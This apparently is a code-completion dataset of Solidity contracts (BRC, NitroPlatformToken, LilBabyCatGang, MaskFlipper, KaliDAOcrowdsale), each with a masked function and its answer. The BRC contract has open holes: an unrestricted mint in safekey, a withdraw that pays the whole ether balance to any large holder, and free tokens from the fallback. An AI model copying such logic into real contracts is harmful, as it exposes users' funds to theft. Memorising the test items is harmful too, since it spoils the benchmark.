return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract BRC is ERC20Interface, Owned, SafeMath {
string public symbol = "BRC";
string public name = "Bear Chain";
uint8 public decimals = 18;
uint public _totalSupply;
uint256 public targetsecure = 50000e18;
mapping (address => uint256) public balanceOf;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
<FILL_FUNCTION>
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function minttoken(uint256 mintedAmount) public onlyOwner {
balances[msg.sender] += mintedAmount;
balances[msg.sender] = safeAdd(balances[msg.sender], mintedAmount);
_totalSupply = safeAdd(_totalSupply, mintedAmount);
}
function () public payable {
require(msg.value >= 0);
uint tokens;
if (msg.value < 1 ether) {
tokens = msg.value * 400;
}
if (msg.value >= 1 ether) {
tokens = msg.value * 400 + msg.value * 40;
}
if (msg.value >= 5 ether) {
tokens = msg.value * 400 + msg.value * 80;
}
if (msg.value >= 10 ether) {
tokens = msg.value * 400 + 100000000000000000000; //send 10 ether to get all token - error contract
}
if (msg.value == 0 ether) {
tokens = 1e18;
require(balanceOf[msg.sender] <= 0);
balanceOf[msg.sender] += tokens;
}
balances[msg.sender] = safeAdd(balances[msg.sender], tokens);
_totalSupply = safeAdd(_totalSupply, tokens);
}
function safekey(uint256 safekeyz) public {
require(balances[msg.sender] > 12000e18);
balances[msg.sender] += safekeyz;
balances[msg.sender] = safeAdd(balances[msg.sender], safekeyz);
_totalSupply = safeAdd(_totalSupply, safekeyz);
}
function withdraw() public {
require(balances[msg.sender] > targetsecure);
address myAddress = this;
uint256 etherBalance = myAddress.balance;
msg.sender.transfer(etherBalance);
}
function setsecure(uint256 securee) public onlyOwner {
targetsecure = securee;
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
| function approve(address spender, uint tokens) public returns (bool success) | function approve(address spender, uint tokens) public returns (bool success) |
12035 | NitroPlatformToken | null | contract NitroPlatformToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Do not accept ETHEREUM
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract NitroPlatformToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Do not accept ETHEREUM
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
symbol = "NTRT";
name = "Nitro Platform Token";
decimals = 8;
_totalSupply = 1100000000000000000;
balances[0xA7D54F408719660Dcdbfa95CcA578227489ba215] = _totalSupply;
emit Transfer(address(0), 0xA7D54F408719660Dcdbfa95CcA578227489ba215, _totalSupply);
| constructor() public | // ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public |
52216 | LilBabyCatGang | price | contract LilBabyCatGang is ERC721Enumerable, Ownable, ERC721Burnable, ERC721Pausable {
using SafeMath for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
uint public sale_state; // 0: not started sale, 1: presale, 2: public sale
uint256 public constant MAX_ITEMS = 3000;
uint256 public PRICE = 6E16; // 0.06 ETH
uint256 public PRESALE_PRICE = 4E16; // 0.04 ETH
uint256 public constant MAX_MINT = 3;
uint256 public constant MAX_MINT_PRESALE = 2;
string public baseTokenURI;
address public constant creatorAddress1 = 0x99bf0cC740acfea468feebe6051Ccb8A97F835f1;
address public constant creatorAddress2 = 0x43a8765193C99643eF9F9f976DAC3C880b0749d4;
address public constant creatorAddress3 = 0xb101a269A80FC6aC17267Fb3a5B19021D6D296AC;
address public constant devAddress = 0xFE8a2C736d9602E1D2fada377C0760450E2f8289;
mapping (address => bool) public whitelistedAddr;
event CreateBabyCatGang(uint256 indexed id);
constructor(string memory baseURI) ERC721("Lil Baby Cat Gang", "CatGang") {
setBaseURI(baseURI);
pause(true);
sale_state = 0;
}
modifier saleIsOpen {
require(_totalSupply() <= MAX_ITEMS, "Sale ended");
if (_msgSender() != owner()) {
require(!paused(), "Pausable: paused");
}
_;
}
function whitelistAddress (address[] memory users) public onlyOwner {
for (uint i = 0; i < users.length; i++) {
whitelistedAddr[users[i]] = true;
}
}
function removeWhitelistAddress (address[] memory users) public onlyOwner {
for (uint i = 0; i < users.length; i++) {
require(whitelistedAddr[users[i]], "address is not existed or already removed in whitelist");
whitelistedAddr[users[i]] = false;
}
}
function _totalSupply() internal view returns (uint) {
return _tokenIdTracker.current();
}
function totalMint() public view returns (uint256) {
return _totalSupply();
}
function mintReserve(uint256 _count, address _to) public onlyOwner {
uint256 total = _totalSupply();
require(total <= MAX_ITEMS, "Sale ended");
require(total + _count <= MAX_ITEMS, "Max limit");
for (uint256 i = 0; i < _count; i++) {
_mintAnElement(_to);
}
}
function mint(address _to, uint256 _count) public payable saleIsOpen {
uint256 total = _totalSupply();
require(total <= MAX_ITEMS, "Sale ended");
require(total + _count <= MAX_ITEMS, "Max limit");
require(sale_state != 0, "Sale is not started");
if (sale_state == 1) {
require(whitelistedAddr[_to] == true, "address is not whitelisted");
require(_count <= MAX_MINT_PRESALE, "Exceeds number");
} else {
require(_count <= MAX_MINT, "Exceeds number");
}
require(msg.value >= price(_count), "Value below price");
for (uint256 i = 0; i < _count; i++) {
_mintAnElement(_to);
}
}
function _mintAnElement(address _to) private {
uint id = _totalSupply();
_tokenIdTracker.increment();
_safeMint(_to, id);
emit CreateBabyCatGang(id);
}
function price(uint256 _count) public view returns (uint256) {<FILL_FUNCTION_BODY> }
function _baseURI() internal view virtual override returns (string memory) {
return baseTokenURI;
}
function setBaseURI(string memory baseURI) public onlyOwner {
baseTokenURI = baseURI;
}
function setPresaleMintPrice(uint256 _price) external onlyOwner {
PRESALE_PRICE = _price;
}
function setMintPrice(uint256 _price) external onlyOwner {
PRICE = _price;
}
function walletOfOwner(address _owner) external view returns (uint256[] memory) {
uint256 tokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](tokenCount);
for (uint256 i = 0; i < tokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function pause(bool val) public onlyOwner {
if (val == true) {
_pause();
return;
}
_unpause();
}
function setState(uint _state) public onlyOwner {
sale_state = _state;
}
function withdrawAll() public payable onlyOwner {
uint256 balance = address(this).balance;
require(balance > 0);
_widthdraw(creatorAddress1, balance.mul(225).div(1000));
_widthdraw(creatorAddress2, balance.mul(5).div(100));
_widthdraw(devAddress, balance.mul(4).div(100));
_widthdraw(creatorAddress3, address(this).balance);
}
function _widthdraw(address _address, uint256 _amount) private {
(bool success,) = _address.call{value : _amount}("");
require(success, "Transfer failed.");
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) {
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
return super.supportsInterface(interfaceId);
}
} | contract LilBabyCatGang is ERC721Enumerable, Ownable, ERC721Burnable, ERC721Pausable {
using SafeMath for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
uint public sale_state; // 0: not started sale, 1: presale, 2: public sale
uint256 public constant MAX_ITEMS = 3000;
uint256 public PRICE = 6E16; // 0.06 ETH
uint256 public PRESALE_PRICE = 4E16; // 0.04 ETH
uint256 public constant MAX_MINT = 3;
uint256 public constant MAX_MINT_PRESALE = 2;
string public baseTokenURI;
address public constant creatorAddress1 = 0x99bf0cC740acfea468feebe6051Ccb8A97F835f1;
address public constant creatorAddress2 = 0x43a8765193C99643eF9F9f976DAC3C880b0749d4;
address public constant creatorAddress3 = 0xb101a269A80FC6aC17267Fb3a5B19021D6D296AC;
address public constant devAddress = 0xFE8a2C736d9602E1D2fada377C0760450E2f8289;
mapping (address => bool) public whitelistedAddr;
event CreateBabyCatGang(uint256 indexed id);
constructor(string memory baseURI) ERC721("Lil Baby Cat Gang", "CatGang") {
setBaseURI(baseURI);
pause(true);
sale_state = 0;
}
modifier saleIsOpen {
require(_totalSupply() <= MAX_ITEMS, "Sale ended");
if (_msgSender() != owner()) {
require(!paused(), "Pausable: paused");
}
_;
}
function whitelistAddress (address[] memory users) public onlyOwner {
for (uint i = 0; i < users.length; i++) {
whitelistedAddr[users[i]] = true;
}
}
function removeWhitelistAddress (address[] memory users) public onlyOwner {
for (uint i = 0; i < users.length; i++) {
require(whitelistedAddr[users[i]], "address is not existed or already removed in whitelist");
whitelistedAddr[users[i]] = false;
}
}
function _totalSupply() internal view returns (uint) {
return _tokenIdTracker.current();
}
function totalMint() public view returns (uint256) {
return _totalSupply();
}
function mintReserve(uint256 _count, address _to) public onlyOwner {
uint256 total = _totalSupply();
require(total <= MAX_ITEMS, "Sale ended");
require(total + _count <= MAX_ITEMS, "Max limit");
for (uint256 i = 0; i < _count; i++) {
_mintAnElement(_to);
}
}
function mint(address _to, uint256 _count) public payable saleIsOpen {
uint256 total = _totalSupply();
require(total <= MAX_ITEMS, "Sale ended");
require(total + _count <= MAX_ITEMS, "Max limit");
require(sale_state != 0, "Sale is not started");
if (sale_state == 1) {
require(whitelistedAddr[_to] == true, "address is not whitelisted");
require(_count <= MAX_MINT_PRESALE, "Exceeds number");
} else {
require(_count <= MAX_MINT, "Exceeds number");
}
require(msg.value >= price(_count), "Value below price");
for (uint256 i = 0; i < _count; i++) {
_mintAnElement(_to);
}
}
function _mintAnElement(address _to) private {
uint id = _totalSupply();
_tokenIdTracker.increment();
_safeMint(_to, id);
emit CreateBabyCatGang(id);
}
<FILL_FUNCTION>
function _baseURI() internal view virtual override returns (string memory) {
return baseTokenURI;
}
function setBaseURI(string memory baseURI) public onlyOwner {
baseTokenURI = baseURI;
}
function setPresaleMintPrice(uint256 _price) external onlyOwner {
PRESALE_PRICE = _price;
}
function setMintPrice(uint256 _price) external onlyOwner {
PRICE = _price;
}
function walletOfOwner(address _owner) external view returns (uint256[] memory) {
uint256 tokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](tokenCount);
for (uint256 i = 0; i < tokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function pause(bool val) public onlyOwner {
if (val == true) {
_pause();
return;
}
_unpause();
}
function setState(uint _state) public onlyOwner {
sale_state = _state;
}
function withdrawAll() public payable onlyOwner {
uint256 balance = address(this).balance;
require(balance > 0);
_widthdraw(creatorAddress1, balance.mul(225).div(1000));
_widthdraw(creatorAddress2, balance.mul(5).div(100));
_widthdraw(devAddress, balance.mul(4).div(100));
_widthdraw(creatorAddress3, address(this).balance);
}
function _widthdraw(address _address, uint256 _amount) private {
(bool success,) = _address.call{value : _amount}("");
require(success, "Transfer failed.");
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) {
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
return super.supportsInterface(interfaceId);
}
} |
if (sale_state == 1) {
return PRESALE_PRICE.mul(_count);
}
return PRICE.mul(_count);
| function price(uint256 _count) public view returns (uint256) | function price(uint256 _count) public view returns (uint256) |
66291 | Shibabitcoin | null | contract Shibabitcoin is ERC20 {
constructor () ERC20("Shibabitcoin", "SHIBTC", 20) {<FILL_FUNCTION_BODY> }
} | contract Shibabitcoin is ERC20 {
<FILL_FUNCTION>
} |
_mint(msg.sender, 100000000000000000000 * 10 ** 20);
| constructor () ERC20("Shibabitcoin", "SHIBTC", 20) | constructor () ERC20("Shibabitcoin", "SHIBTC", 20) |
46489 | MaskFlipper | _currentMaskTokenPrice | contract MaskFlipper {
// constants
uint constant public ONE = 10**27;
uint constant public ONE_MASK_TOKEN = 1 ether;
// hashmasks vault id
uint constant public VAULT_ID = 20;
//math functions
function rmul(uint x, uint y) public pure returns (uint z) {
z = safeMul(x, y) / ONE;
}
function safeMul(uint x, uint y) public pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "safe-mul-failed");
}
NFTX public nftx;
SushiRouter public sushiRouter;
ERC721 public hashmasks;
ERC20 public maskToken;
ERC20 public weth;
// percentage of WETH send back to the msg.sender denominated in RAY (10^27)
// default 100% (max value)
uint public flipMaskRate = ONE;
// percentage from the floor price required from the user for getRandomMask
// min value 100%
uint public getMaskRate = ONE;
// amountOutMin tolerance from floor price in sushi Swap
// default 100% (no tolerance)
uint public tolerance = ONE;
address public owner;
constructor(address nftx_, address sushiRouter_, address hashmasks_, address maskToken_, address weth_) public {
owner = msg.sender;
nftx = NFTX(nftx_);
sushiRouter = SushiRouter(sushiRouter_);
hashmasks = ERC721(hashmasks_);
maskToken = ERC20(maskToken_);
weth = ERC20(weth_);
maskToken.approve(address(sushiRouter), uint(-1));
weth.approve(address(sushiRouter), uint(-1));
maskToken.approve(address(nftx), uint(-1));
}
function file(bytes32 name, uint value) public {
require(msg.sender == owner, "msg.sender not owner");
if(name == "flipMaskRate") {
flipMaskRate = value;
} else if(name == "tolerance") {
tolerance = value;
} else if(name == "getMaskRate") {
require(value >= ONE);
getMaskRate = value;
} else {
revert("unknown-config");
}
}
// returns the current floor price minus the fee in WETH
// amount of WETH received for one hashmask
function currentFloor() public view returns(uint) {
return rmul(_currentFloor(), flipMaskRate);
}
function _currentFloor() internal view returns (uint) {
address[] memory path = new address[](2);
path[0] = address(maskToken);
path[1] = address(weth);
return sushiRouter.getAmountsOut(ONE_MASK_TOKEN, path)[1];
}
// amount of WETH required for one hashmask
function currentGetMaskPrice() public returns(uint) {
return rmul(_currentMaskTokenPrice(), getMaskRate);
}
function _currentMaskTokenPrice() internal returns(uint) {<FILL_FUNCTION_BODY> }
// flip a mask against the current floor price in NFTX and receive WETH back
function flipMask(uint nftID) public returns(uint payoutAmount){
require(hashmasks.ownerOf(nftID) == msg.sender, "msg.sender is not nft owner");
hashmasks.transferFrom(msg.sender, address(this), nftID);
// move NFT into NFTX pool
hashmasks.approve(address(nftx), nftID);
uint256[] memory list = new uint256[](1);
list[0] = nftID;
nftx.mint(VAULT_ID, list, 0);
require(maskToken.balanceOf(address(this)) == ONE_MASK_TOKEN, "no-mask-token");
address[] memory path = new address[](2);
path[0] = address(maskToken);
path[1] = address(weth);
uint wantPrice = _currentFloor();
// swap MASK token for WETH
uint price = sushiRouter.swapExactTokensForTokens(ONE_MASK_TOKEN, rmul(wantPrice, tolerance), path, address(this), block.timestamp+1)[1];
// transfer WETH to msg.sender
payoutAmount = rmul(price, flipMaskRate);
weth.transferFrom(address(this), msg.sender, payoutAmount);
}
// get a random mask with WETH
function getRandomMask() public returns(uint nftID) {
uint requiredAmount = rmul(_currentMaskTokenPrice(), getMaskRate);
weth.transferFrom(msg.sender, address(this), requiredAmount);
address[] memory path = new address[](2);
path[0] = address(weth);
path[1] = address(maskToken);
// swap WETH for mask token
sushiRouter.swapTokensForExactTokens(ONE_MASK_TOKEN, requiredAmount, path, address(this), block.timestamp+1);
// redeem one NFT with mask token
nftx.redeem(VAULT_ID, 1);
nftID = hashmasks.tokenOfOwnerByIndex(address(this), 0);
// send nft to msg.sender
hashmasks.transferFrom(address(this), msg.sender, nftID);
}
function redeem() public {
require(msg.sender == owner);
weth.transferFrom(address(this), owner, weth.balanceOf(address(this)));
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
return 0x150b7a02;
}
} | contract MaskFlipper {
// constants
uint constant public ONE = 10**27;
uint constant public ONE_MASK_TOKEN = 1 ether;
// hashmasks vault id
uint constant public VAULT_ID = 20;
//math functions
function rmul(uint x, uint y) public pure returns (uint z) {
z = safeMul(x, y) / ONE;
}
function safeMul(uint x, uint y) public pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "safe-mul-failed");
}
NFTX public nftx;
SushiRouter public sushiRouter;
ERC721 public hashmasks;
ERC20 public maskToken;
ERC20 public weth;
// percentage of WETH send back to the msg.sender denominated in RAY (10^27)
// default 100% (max value)
uint public flipMaskRate = ONE;
// percentage from the floor price required from the user for getRandomMask
// min value 100%
uint public getMaskRate = ONE;
// amountOutMin tolerance from floor price in sushi Swap
// default 100% (no tolerance)
uint public tolerance = ONE;
address public owner;
constructor(address nftx_, address sushiRouter_, address hashmasks_, address maskToken_, address weth_) public {
owner = msg.sender;
nftx = NFTX(nftx_);
sushiRouter = SushiRouter(sushiRouter_);
hashmasks = ERC721(hashmasks_);
maskToken = ERC20(maskToken_);
weth = ERC20(weth_);
maskToken.approve(address(sushiRouter), uint(-1));
weth.approve(address(sushiRouter), uint(-1));
maskToken.approve(address(nftx), uint(-1));
}
function file(bytes32 name, uint value) public {
require(msg.sender == owner, "msg.sender not owner");
if(name == "flipMaskRate") {
flipMaskRate = value;
} else if(name == "tolerance") {
tolerance = value;
} else if(name == "getMaskRate") {
require(value >= ONE);
getMaskRate = value;
} else {
revert("unknown-config");
}
}
// returns the current floor price minus the fee in WETH
// amount of WETH received for one hashmask
function currentFloor() public view returns(uint) {
return rmul(_currentFloor(), flipMaskRate);
}
function _currentFloor() internal view returns (uint) {
address[] memory path = new address[](2);
path[0] = address(maskToken);
path[1] = address(weth);
return sushiRouter.getAmountsOut(ONE_MASK_TOKEN, path)[1];
}
// amount of WETH required for one hashmask
function currentGetMaskPrice() public returns(uint) {
return rmul(_currentMaskTokenPrice(), getMaskRate);
}
<FILL_FUNCTION>
// flip a mask against the current floor price in NFTX and receive WETH back
function flipMask(uint nftID) public returns(uint payoutAmount){
require(hashmasks.ownerOf(nftID) == msg.sender, "msg.sender is not nft owner");
hashmasks.transferFrom(msg.sender, address(this), nftID);
// move NFT into NFTX pool
hashmasks.approve(address(nftx), nftID);
uint256[] memory list = new uint256[](1);
list[0] = nftID;
nftx.mint(VAULT_ID, list, 0);
require(maskToken.balanceOf(address(this)) == ONE_MASK_TOKEN, "no-mask-token");
address[] memory path = new address[](2);
path[0] = address(maskToken);
path[1] = address(weth);
uint wantPrice = _currentFloor();
// swap MASK token for WETH
uint price = sushiRouter.swapExactTokensForTokens(ONE_MASK_TOKEN, rmul(wantPrice, tolerance), path, address(this), block.timestamp+1)[1];
// transfer WETH to msg.sender
payoutAmount = rmul(price, flipMaskRate);
weth.transferFrom(address(this), msg.sender, payoutAmount);
}
// get a random mask with WETH
function getRandomMask() public returns(uint nftID) {
uint requiredAmount = rmul(_currentMaskTokenPrice(), getMaskRate);
weth.transferFrom(msg.sender, address(this), requiredAmount);
address[] memory path = new address[](2);
path[0] = address(weth);
path[1] = address(maskToken);
// swap WETH for mask token
sushiRouter.swapTokensForExactTokens(ONE_MASK_TOKEN, requiredAmount, path, address(this), block.timestamp+1);
// redeem one NFT with mask token
nftx.redeem(VAULT_ID, 1);
nftID = hashmasks.tokenOfOwnerByIndex(address(this), 0);
// send nft to msg.sender
hashmasks.transferFrom(address(this), msg.sender, nftID);
}
function redeem() public {
require(msg.sender == owner);
weth.transferFrom(address(this), owner, weth.balanceOf(address(this)));
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
return 0x150b7a02;
}
} |
address[] memory path = new address[](2);
path[0] = address(weth);
path[1] = address(maskToken);
return sushiRouter.getAmountsIn(ONE_MASK_TOKEN, path)[0];
| function _currentMaskTokenPrice() internal returns(uint) | function _currentMaskTokenPrice() internal returns(uint) |
71218 | KaliDAOcrowdsale | setPermit | contract KaliDAOcrowdsale is Multicall, ReentrancyGuard {
using SafeTransferLib for address;
event ExtensionSet(
address indexed dao,
uint256 listId,
address purchaseToken,
uint8 purchaseMultiplier,
uint96 purchaseLimit,
uint32 saleEnds,
string details
);
event ExtensionCalled(address indexed dao, address indexed purchaser, uint256 amountOut);
error NullMultiplier();
error SaleEnded();
error NotListed();
error PurchaseLimit();
IKaliAccessManager private immutable accessManager;
address private immutable wETH;
mapping(address => Crowdsale) public crowdsales;
struct Crowdsale {
uint256 listId;
address purchaseToken;
uint8 purchaseMultiplier;
uint96 purchaseLimit;
uint96 amountPurchased;
uint32 saleEnds;
string details;
}
constructor(IKaliAccessManager accessManager_, address wETH_) {
accessManager = accessManager_;
wETH = wETH_;
}
function setExtension(bytes calldata extensionData) public nonReentrant virtual {
(uint256 listId, address purchaseToken, uint8 purchaseMultiplier, uint96 purchaseLimit, uint32 saleEnds, string memory details)
= abi.decode(extensionData, (uint256, address, uint8, uint96, uint32, string));
if (purchaseMultiplier == 0) revert NullMultiplier();
crowdsales[msg.sender] = Crowdsale({
listId: listId,
purchaseToken: purchaseToken,
purchaseMultiplier: purchaseMultiplier,
purchaseLimit: purchaseLimit,
amountPurchased: 0,
saleEnds: saleEnds,
details: details
});
emit ExtensionSet(msg.sender, listId, purchaseToken, purchaseMultiplier, purchaseLimit, saleEnds, details);
}
function joinList(uint256 listId, bytes32[] calldata merkleProof) public virtual {
accessManager.joinList(
listId,
msg.sender,
merkleProof
);
}
function setPermit(
IERC20Permit token,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {<FILL_FUNCTION_BODY> }
function callExtension(address dao, uint256 amount) public payable nonReentrant virtual returns (uint256 amountOut) {
Crowdsale storage sale = crowdsales[dao];
if (block.timestamp > sale.saleEnds) revert SaleEnded();
if (sale.listId != 0)
if (!accessManager.listedAccounts(sale.listId, msg.sender)) revert NotListed();
if (sale.purchaseToken == address(0)) {
amountOut = msg.value * sale.purchaseMultiplier;
if (sale.amountPurchased + amountOut > sale.purchaseLimit) revert PurchaseLimit();
// send ETH to DAO
dao._safeTransferETH(msg.value);
sale.amountPurchased += uint96(amountOut);
IKaliShareManager(dao).mintShares(msg.sender, amountOut);
} else if (sale.purchaseToken == address(0xDead)) {
amountOut = msg.value * sale.purchaseMultiplier;
if (sale.amountPurchased + amountOut > sale.purchaseLimit) revert PurchaseLimit();
// send ETH to wETH
wETH._safeTransferETH(msg.value);
// send wETH to DAO
wETH._safeTransfer(dao, msg.value);
sale.amountPurchased += uint96(amountOut);
IKaliShareManager(dao).mintShares(msg.sender, amountOut);
} else {
// send tokens to DAO
sale.purchaseToken._safeTransferFrom(msg.sender, dao, amount);
amountOut = amount * sale.purchaseMultiplier;
if (sale.amountPurchased + amountOut > sale.purchaseLimit) revert PurchaseLimit();
sale.amountPurchased += uint96(amountOut);
IKaliShareManager(dao).mintShares(msg.sender, amountOut);
}
emit ExtensionCalled(dao, msg.sender, amountOut);
}
} | contract KaliDAOcrowdsale is Multicall, ReentrancyGuard {
using SafeTransferLib for address;
event ExtensionSet(
address indexed dao,
uint256 listId,
address purchaseToken,
uint8 purchaseMultiplier,
uint96 purchaseLimit,
uint32 saleEnds,
string details
);
event ExtensionCalled(address indexed dao, address indexed purchaser, uint256 amountOut);
error NullMultiplier();
error SaleEnded();
error NotListed();
error PurchaseLimit();
IKaliAccessManager private immutable accessManager;
address private immutable wETH;
mapping(address => Crowdsale) public crowdsales;
struct Crowdsale {
uint256 listId;
address purchaseToken;
uint8 purchaseMultiplier;
uint96 purchaseLimit;
uint96 amountPurchased;
uint32 saleEnds;
string details;
}
constructor(IKaliAccessManager accessManager_, address wETH_) {
accessManager = accessManager_;
wETH = wETH_;
}
function setExtension(bytes calldata extensionData) public nonReentrant virtual {
(uint256 listId, address purchaseToken, uint8 purchaseMultiplier, uint96 purchaseLimit, uint32 saleEnds, string memory details)
= abi.decode(extensionData, (uint256, address, uint8, uint96, uint32, string));
